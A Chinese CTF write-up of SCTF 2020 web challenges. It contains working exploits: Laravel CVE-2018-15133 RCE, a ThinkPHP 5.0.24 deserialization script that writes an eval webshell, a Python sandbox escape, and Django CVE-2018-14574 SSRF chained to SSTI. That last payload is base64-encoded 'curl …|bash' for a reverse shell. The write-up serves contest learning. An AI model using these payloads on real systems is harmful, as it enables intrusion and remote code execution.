Author:颖奇L’Amore

Blog:www.gem-love.com

和战队打,题目基本都是一起做的,全程在被队友疯狂带飞,大部分题都唰唰唰的被队友秒了

ruby做了10几个小时,心态崩了


bestlanguage

考点:CVE-2018-15133

难度:普通

赛后发现,本题目能直接读flag:

关于–path-as-is相关,建议阅读:

https://www.gem-love.com/ctf/2391.html#web/cookierecipesv2

下面介绍比赛时的做法。首先查看laravel的版本

版本号也会写在vendor/laravel/framework/src/Illuminate/Foundation/Application.php里面

Laravel 5.5.x<=5.5.40、5.6.x<=5.6.29都会受到CVE-2018-15133的影响,这是一个在得知APP_KEY情况下的RCE,参考:

https://xz.aliyun.com/t/6533

而APP_KEY存在于.env中,这个文件已经被提供给我们了,所以直接一键打了

CVE-2018-15133的PoC:

https://github.com/kozmic/laravel-poc-CVE-2018-15133

利用之前还需要用到一个PHP反序列化工具phpggc,GitHub地址:

https://github.com/ambionics/phpggc

phpggc自带了Laravel框架RCE组件,所以非常方便

之后就拿poc一把梭:

把生成的payload放在Cookie字段,访问

在服务器上接收传回来的flag

不过因为调用system()函数是有回显的,直接cat /flag也行


UnsafeDefenseSystem

don’t need to scan , flag is in /flag .The server is remade every 3 minutes. good luck to you
if you get the flag, please don’t destory the environment.
China:
http://39.99.41.124/public/
Overseas:
http://8.208.102.48/public/

考点:文件包含、ThinkPHP反序列化、PHP伪协议

难度:hard

大半夜做的,晚上脑子不好,导致短短一小时内错失前三血,最后拿了个四血

访问:

Warning<br/>You IP: [这里是公网ip 打码] has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">%

访问/public/test能进入到一个局子里

html源代码有一行相关注释:

<!-- Admin:/public/nationalsb/login.php -->

这个登录输入任意账号密码都可以登陆上去,这个并没有保存cookie,是根据了Authentication字段

用插件直接找到了注释中保存的账号密码

有个四位的生日需要爆破,12×31=372,只需要300多个包,写个python小脚本爆破一下得到密码[email protected]#amspe1221

用这个登录,然后提供了一个文件查询功能

测试发现,是个php的文件包含

由404页面可知,题目是个TP5.0.24

读一下主页 得到反序列化位点:

<?php

namespace app\index\controller;

class Index extends \think\Controller
{
    public function index()
    {
        $ip = $_SERVER['REMOTE_ADDR'];
        echo "Warning" . "<br/>";
        echo "You IP: " . $ip . " has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior";
        echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">';
    }

    public function hello()
    {
        echo 'hi';
        unserialize(base64_decode($_GET['s3cr3tk3y']));
        echo(base64_decode($_GET['s3cr3tk3y']));
    }
}

thinkphp5.0.24反序列化:

https://www.shellcodes.org/Hacking/ThinkPHP 5.0.24反序列化ROP.html

在http://39.99.41.124/protect.py有个py脚本:

# -*- coding:utf-8 -*-
import os
import hashlib
import time 
import shutil

def get_file_md5(filename):
	m = hashlib.md5()
	with open(filename,'rb') as fobj:
		while True:
			data = fobj.read(4096)
			if not data:
				break
			m.update(data)
	return m.hexdigest()
	
def file_md5_build(startpath):
	global md5_list
	global file_list
	global dir_list
	global root
	md5_list = []
	file_list = []
	dir_list = []
	for root,dirs,files in os.walk(startpath,topdown=True):
		for d in dirs:
			dir_list.append(root+'/'+d)
		for f in files:
			if f[-4:] == '.txt':
				continue
			file_list.append(root+'/'+f)
			md5_list.append(get_file_md5(root+'/'+f))
			
def file_md5_defense():
	log = open('./public/log.txt','a')
	log.write('[+]Defense System Online Now.')
	log.write('\r\n')
	log.write('[+]Defense System file is protect.py.')
	log.write('\r\n')
	log.close()
	file_backup_remove()
	file_backup()
	global root
	file_md5_build('./')
	old_list = []
	old_dir_list = []
	new_list = []
	new_dir_list = []
	check_list = []
	old_file_list = []
	new_file_list = []
	check_file_list = []
	old_file_list = file_list[:]
	old_list = md5_list[:]
	old_dir_list = dir_list[:]
	while (1):
		check_list = old_list[:]
		check_file_list = old_file_list[:]
		file_md5_build('./')
		new_list = md5_list[:]
		new_file_list = file_list[:]
		new_dir_list = dir_list[:]
		sign2 = 0
		for i in range(len(old_dir_list)):
			sign3 = 0
			for j in range(len(new_dir_list)):
				if (old_dir_list[i] == new_dir_list[j]):
					sign3 = 1
					break
			if sign3 == 0:
				sign3 = 1
				log = open('./public/log.txt','a')
				log.write(old_dir_list[i].replace('./','')+'Disappear!')
				log.write('\r\n')
				try:
					shutil.copytree(tgt+old_dir_list[i].replace('./','/'),old_dir_list[i])
					log.write("[+]Repaired.")
					log.write('\r\n')
					log.close()
				except:
					log.write("[-]No such dir.")
					log.write('\r\n')
					log.close()
		for i in range(len(new_list)):
			sign = 0
			for j in range(len(old_list)):
				if (new_list[i] == old_list[j] and new_file_list[i] == old_file_list[j]):
					check_list[j] = '0'
					sign = 1
					break
			if sign == 0:
				sign2 = 1
				log = open('./public/log.txt','a')
				log.write(new_file_list[i].replace('./','')+'Add or Changed!')
				log.write('\r\n')
				try:
					os.remove(new_file_list[i])
					shutil.copyfile(tgt+new_file_list[i].replace('./','/'),new_file_list[i])
					log.write("[+]Repaired.")
					log.write('\r\n')
					log.close()
				except:
					log.write("[-]No such file.")
					log.write('\r\n')
					log.close()
		for i in range(len(check_list)):
			if check_list[i] != '0' and sign2 != 1:
				log = open('./public/log.txt')
				log.write(check_file_list[i].replace('./','')+'Disappear!')
				log.write('\r\n')
				sign2 = 0
				try:
					shutil.copyfile(tgt+check_file_list[i].replace('./','/'),check_file_list[i])
					log.write("[+]Repaired.")
					log.write('\r\n')
					log.close()
				except:
					log.write("[-]No such file.")
					log.write('\r\n')
					log.close()

def file_md5_check():
	file_backup()
	global root
	file_md5_build('./')
	old_list = []
	old_dir_list = []
	new_list = []
	new_dir_list = []
	check_list = []
	old_file_list = []
	new_file_list = []
	check_file_list = []
	old_file_list = file_list[:]
	old_list = md5_list[:]
	old_dir_list = dir_list[:]
	while (1):
		print "*******************************************************"
		print '[+]The old file total:',len(old_list)
		print '[+]The old dir total:',len(old_dir_list)
		print "*******************************************************"
		check_list = old_list[:]
		check_file_list = old_file_list[:]
		file_md5_build('./')
		new_list = md5_list[:]
		new_file_list = file_list[:]
		new_dir_list = dir_list[:]
		sign2 = 0
		
		for i in range(len(old_dir_list)):
			sign3 = 0
			for j in range(len(new_dir_list)):
				if (old_dir_list[i] == new_dir_list[j]):
					sign3 = 1
					break
			if sign3 == 0:
				sign3 = 1
				print old_dir_list[i].replace('./',''),'Disappear!'
		for i in range(len(new_list)):
			sign = 0
			for j in range(len(old_list)):
				if (new_list[i] == old_list[j] and new_file_list[i] == old_file_list[j]):
					check_list[j] = '0'
					sign = 1
					break
			if sign == 0:
				sign2 = 1
				print new_file_list[i].replace('./',''),'Add or Changed!'
		for i in range(len(check_list)):
			if check_list[i] != '0' and sign2 != 1:
				print check_file_list[i].replace('./',''),'Disappear!'
				sign2 = 0
		print "*******************************************************"
		print '[+]Total file:',len(new_list)
		print '[+]Total dir:',len(new_dir_list)
		print "*******************************************************"
		time.sleep(5)

def file_log_add():
	php_list=[]
	for root,dirs,files in os.walk('./',topdown=True):
		for f in files:
			if f[-4:] == '.php':
				php_list.append(root+'/'+f)

	for i in range(len(php_list)):
		php_list[i] = php_list[i].replace('//','/')
		print php_list[i]
	print '[+]Total PHP file:',len(php_list)
	confirm = raw_input("Confirm Open Log Monitoring. 1 or 0:")
	if confirm == '1':
		print "*******************************************************"
		for i in range(len(php_list)):
			level_dir = 0
			for j in range(len(php_list[i])):
				if php_list[i][j] == '/':
					level_dir += 1
			lines = open(php_list[i],"r").readlines()
			length = len(lines)-1
			for j in range(length):
				if '<?php' in lines[j]:
					lines[j]=lines[j].replace('<?php','<?php\nrequire_once("./'+'../'*(level_dir-1)+'log.php");')
			open(php_list[i],'w').writelines(lines)
		print "[+]Log monitoring turned on."

def file_backup():
	src = './'
	try:
		shutil.copytree(src,tgt)
		log = open('./public/log.txt','a')
		log.write("[+]File backup succeed.")
		log.write('\r\n')
		log.close()
	except:
		log = open('./public/log.txt','a')
		log.write("[-]File backup fail.Maybe it exists.")
		log.write('\r\n')
		log.close()
		
def file_backup_remove():
	try:
		shutil.rmtree(tgt)
	except:
		pass

global tgt
tgt = './backup'
file_md5_defense()

源码很长,功能就是它会检测新生成的文件,把文件名写进/public/log.txt,然后把文件删掉

这正好说明找的这个5.0.24的反序列化思路是对的,因为这个方法会生成一个shell写进文件,但是文件名不可知,所以这个py脚本为我们提供了文件名

用payload打一下,写个脚本访问payload生成shell然后立马访问shell是可以访问到的,以为题目开启了短标签导致出现了语法错误,shell不能执行

大晚上的在这里卡住了,一直测试用init_set()关短标签,但是因为写入的代码永远在<?cuc rkug();?>后面,根本不能执行,就在这一小时之间,123血全没了。

后来我突然想到P神以前写过一个利用php://filter去除死亡exit()的文章,那么这个题应该也是不要用rot13的,去网上查资料直接找到了现成的解决方案:

https://xz.aliyun.com/t/7457

exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests

payload = '''http://39.99.41.124/public/index.php/index/index/hello?s3cr3tk3y=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NTp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo3OiJnZXRBdHRyIjtpOjE7czo0OiJpbmZvIjtpOjI7czo1OiJlcnJvciI7aTozO3M6NzoiY29tbWVudCI7aTo0O3M6ODoicXVlc3Rpb24iO2k6NTtzOjk6ImhpZ2hsaWdodCI7aTo2O3M6Nzoid2FybmluZyI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6MTI1OiJwaHA6Ly9maWx0ZXIvY29udmVydC5pY29udi51dGYtOC51dGYtN3xjb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkalkyTW5YU2s3UHo0Zy8uLi95MW5nLnBocCI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czo0OiJ4aWdlIjt9fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjQ6InRlc3QiO3M6ODoiZ2V0RXJyb3IiO31zOjc6IgAqAGRhdGEiO2E6MTp7czo3OiJwYW5yZW50IjtzOjQ6InRydWUiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjU6e3M6NToibW9kZWwiO2I6MDtzOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjk6IgAqAHBhcmVudCI7TjtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjc6e2k6MDtzOjc6ImdldEF0dHIiO2k6MTtzOjQ6ImluZm8iO2k6MjtzOjU6ImVycm9yIjtpOjM7czo3OiJjb21tZW50IjtpOjQ7czo4OiJxdWVzdGlvbiI7aTo1O3M6OToiaGlnaGxpZ2h0IjtpOjY7czo3OiJ3YXJuaW5nIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMjU6InBocDovL2ZpbHRlci9jb252ZXJ0Lmljb252LnV0Zi04LnV0Zi03fGNvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1hYWFQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRqWTJNblhTazdQejRnLy4uL3kxbmcucGhwIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtzOjQ6InhpZ2UiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntzOjI6Inh4IjtzOjI6Inh4Ijt9fXM6ODoiACoAbW9kZWwiO3M6NDoidGVzdCI7fX19'''
a = requests.get(payload)
shell = 'http://39.99.41.124/public/y1ng.php27a85b1aed60ffa54fae503e4197ce6b.php'
print(shell, end='\n\n')
r=requests.post(shell,data={'ccc':'system("cat /flag");'})
print(r.text)


CloudDisk

http://120.79.1.217:7777/

【链接】Koa框架教程http://www.ruanyifeng.com/blog/2017/08/koa.html

https://drive.google.com/file/d/1lVTIESyhJg3sdHq8L1PkYOZ4hZi0Rkru/view

考点:nodejs代码审计

难度:easy

这题确实简单,还没来得及上线就被队友秒了。是个上传,给了源码

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');

const app = new Koa();
const router = new Router();
const SECRET = "?"


app.use(koaBody({
  multipart: true,
  formidable: {
      maxFileSize: 2000 * 1024 * 1024 
  }
}));


router.post('/uploadfile', async (ctx, next) => {
    const file = ctx.request.body.files.file;
    const reader = fs.createReadStream(file.path);
    let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
    let filePath = path.join(__dirname, 'upload/') + fileId
    const upStream = fs.createWriteStream(filePath);
    reader.pipe(upStream)
    return ctx.body = "Upload success ~, your fileId is here:" + fileId;
  });


router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "SCTF{no_such_file_~}"
  }
});


router.get('/', async (ctx, next) => {
  ctx.response.type = 'html';
  ctx.response.body = fs.createReadStream('index.html');
  
});

app.use(router.routes());
app.listen(3333, () => {
  console.log('This server is running at port: 3333')
})

关键代码:

const file = ctx.request.body.files.file;

vulnerability detail here: https://github.com/dlau/koa-body/issues/75

flag不太好找,在/app/flag


pysandbox && pysandbox v2

i love py!!(Each docker will reboot every 3 mins,so please launch the remote attack after successful exploitation in your own local environment)
China:
http://39.104.25.107:10000
Overseas:
http://8.208.91.150:10000
Attachment:
https://sctf2020.oss-cn-huhehaote.aliyuncs.com/pysandbox.zip
or
https://drive.google.com/file/d/17y3BfFD0Keij4SshdpQE7wYFfsb_1trn/view?usp=sharing

考点:python无括号RCE

难度:hard

俩题都被队友的无敌思路给秒了,两个都是二血,来自北京大学的xcmp,永远滴神~~我就在旁边打了打工

俩题代码是一样的,因为第一个题被非预期文件读取了,主办方出了v2要求必须rce

from flask import Flask, request
app = Flask(__name__)

@app.route('/', methods=["POST"])
def security():
    secret = request.form["cmd"]
    for i in secret:
        if not 42 <= ord(i) <= 122: return "error!"

    exec(secret)
    return "xXXxXXx"

if __name__ == '__main__':
    app.run(host="0.0.0.0")

过滤了一些符号,其他都好说,主要是过滤了括号。python不像php那样可以(“phpinfo”)()字符串动态调用函数,也不像Ruby那样可以省略括号,python首先必须得到函数,然后加了括号是invoke不加括号是指函数本身

第一题

google了半个小时,不加括号基本上没什么办法调用函数。后来队友突然发现可以通过exec()来操纵flask,然后直接把静态目录设置为根目录,就可以任意文件读取了

但是因为引号也没有,'/'也需要构造一下,只需要找一个包含/的字符串然后截出来就行了。因为变量都有__doc__属性,现在现成的变量有secretapp两个,用app的话可以app.__doc__[1510]

secret用不了因为__doc__里没有想要的字符:

str(object='') -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to 'strict'.

队友开始用的static_folder,发现设置为'/'并不能访问/etc/passwd。然后我去试了下_static_folder发现可以了

后来队友发现如果用static_folder那么应该设置为/../,对应payload为app.static_folder=Flask.__doc__[1510]+Flask.__doc__[877]+Flask.__doc__[878]+Flask.__doc__[1510]

第二题

因为第一题非预期,主办方临时加了v2,v2就必须要RCE然后根据根目录下readflag来拿flag

构造任意字符串:

from flask import *

app = Flask(__name__)
doc = app.__doc__

mylist = []
code = "os.system('whoami')"
for char in code:
	num = 0
	for i in doc:
		if i == char:
			mylist.append("Flask.__doc__[{}]".format(num))
			break
		num+=1

print('+'.join(mylist))

一筹莫展之际,xmcp巨佬给出了payload:

app.make_response=eval
app.after_request_funcs[None]=[exec]
__builtins__.xXXxXXx='__import__("os").system("bash")'

然后因为构造字符串是根据__doc__来构造的,可能有的字符没有,比如Y就没有,然后payload就很不方便。

然后我发现,比如有个叫y1ng的HTTP头,可以request.headers.environ['HTTP_Y1NG'] 获取到这个值,所以payload就呼之欲出了:

cmd=app.make_response=eval;app.after_request_funcs[None]=[exec];__builtins__.xXXxXXx=request.headers.environ[Flask.__doc__[1796]%2bFlask.__doc__[0]%2bFlask.__doc__[0]%2bFlask.__doc__[909]%2bFlask.__doc__[525]%2bFlask.__doc__[2892]%2bFlask.__doc__[32]]

添加一个叫ng(本来构造y1ng结果y构造不出来)的http头字段,把想执行的python代码放里面即可,因为无回显,需要反弹shell


JSONHUB

I know my code is bad, but there should not be a lot of vulnerabilities
China:
http://39.104.19.182
Overseas:
http://8.208.80.172
Attachment:
china:
https://sctf2020.oss-cn-huhehaote.aliyuncs.com/jsonhub-cn.zip
overseas:
https://drive.google.com/file/d/1KNMco3xVK4JpUpSzk9YqNifekVKu1yJA/view?usp=sharing
PS: This challenge differs from China to oversea, so make sure you have the right attachment according to your ip before you start the challenge.

考点:Django登录伪造、SSRF、JSON、SSTI

难度:hard

给了docker源码,题目对外映射了8000端口,另外还有个5000的flask,需要通过8000去ssrf

有个rpc可以SSRF:

def flask_rpc(request):
    if request.META['REMOTE_ADDR'] != "127.0.0.1":
        return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

    methods = request.GET.get("methods")
    url = request.GET.get("url")

    if methods == "GET":
        return JsonResponse(
            {"code": 0, "message": requests.get(url, headers={"User-Agent": "Django proxy =v="}, timeout=1).text})
    elif methods == "POST":
        data = base64.b64decode(request.GET.get("data"))
        return JsonResponse({"code": 0, "message": requests.post(url, data=data,
                                                                 headers={"User-Agent": "Django proxy =v=",
                                                                          "Content-Type": "application/json"}, timeout=1).text})
    else:
        return JsonResponse({"code": -1, "message": "=3="})

home里能提交url,但是需要一个token

这个Token是在数据库里的,分析代码发现如果是admin用户在/admin可以得到这个Token。所以本题目逻辑是得到Token→访问rpc→rpc ssrf→SSTI反弹shell

Part 1

查资料之时这个Token被队友搞定了,payload:

{"username":"ppcmx","password":"pppcmx", "is_superuser": true, "is_staff": true, "is_active": true}

这是因为:

from django.contrib.auth.models import User

在Django的这个模块中,有三个标准用户模块的标志

is_staff = models.BooleanField(_('staff status'), default=False, help_text=_('Designates whether the user can log into this admin site.'))
is_active = models.BooleanField(_('active'), default=True, help_text=_('Designates whether this user should be treated as active. Unselect this instead of deleting accounts.'))
is_superuser = models.BooleanField(_('superuser status'), default=False, help_text=_('Designates that this user has all permissions without explicitly assigning them.'))

所以把他们都置为True即可

Part 2

这个rpc要求必须是本地访问才可以,所以就是带着Token去Network Test

def flask_rpc(request):
    if request.META['REMOTE_ADDR'] != "127.0.0.1":
        return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

但是提交的url只能是公网ip开头的

import re
def ssrf_check(url ,white_list):
    for i in range(len(white_list)):
        if url.startswith("http://" + white_list[i] + "/"):
            return False
    return True

学过网络的同学应该都知道,39.104.19.182访问http://39.104.19.182/,REMOTE_ADDR获取到的ip绝对不是127.0.0.1,因为首先是需要路由出网然后再回来,REMOTE_ADDR获取到的是公网IP39.104.19.182而不是127.0.0.1,安恒或着buuoj因为架构特殊,会获取到一个docker转发器的地址,不论如何,都不可能是127.0.0.1。如果不是127.0.0.1那么rpc就不能生效,也就没法做题了。

好在requests.get()会Follow 302 Redirect,所以只需要提交一个http://39.104.19.182/开头但是会跳转到http://127.0.0.1:8000/rpc的url就可以了:

http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=payload

这是Django的漏洞,CVE-2018-14574,注意到题目使用了Django2.0.7,对于访问http://host1//host2,如果host1是Django,就会访问到host2去。参考:

https://xz.aliyun.com/t/3302

Part 3

web2这里明显存在SSTI:

def caculator():
    try:
        data = request.get_json()
    except ValueError:
        return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
    num1 = str(data["num1"])
    num2 = str(data["num2"])
    symbols = data["symbols"]
    if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
        return json.dumps({"code": -1, "message": "?"})

    return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")

这SSTI直接用python3.6.5的payload来RCE就好,先本地起个环境试一下发现没啥问题

但是,黑名单过滤了{{ 所以不能用:

@app.before_request
def before_request():
    data = str(request.data)
    log()
    if "{{" in data or "}}" in data or "{%" in data or "%}" in data:
        abort(401)

队友xmcp是python神仙,基本上直接秒出解决方案,可能这就是北京大学的本科生吧

注意到题目是用了data = request.get_json(),而get_json()是可以解析Unicode的,所以{\u007b来代替{{即可成功绕过。最终payload:

http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJudW0xIjoiIiwibnVtMiI6IiIsInN5bWJvbHMiOiJ7XHUwMDdiJzEnLl9fY2xhc3NfXy5tcm8oKVstMV0uX19zdWJjbGFzc2VzX18oKVs2NF0uX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydldmFsJ10oXCJfX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnY3VybCBodHRwOi8vZ2VtLWxvdmUuY29tL3NoZWxsLnR4dHxiYXNoJylcIil9XHUwMDdkIn0=

反弹shell得到flag

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2429.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image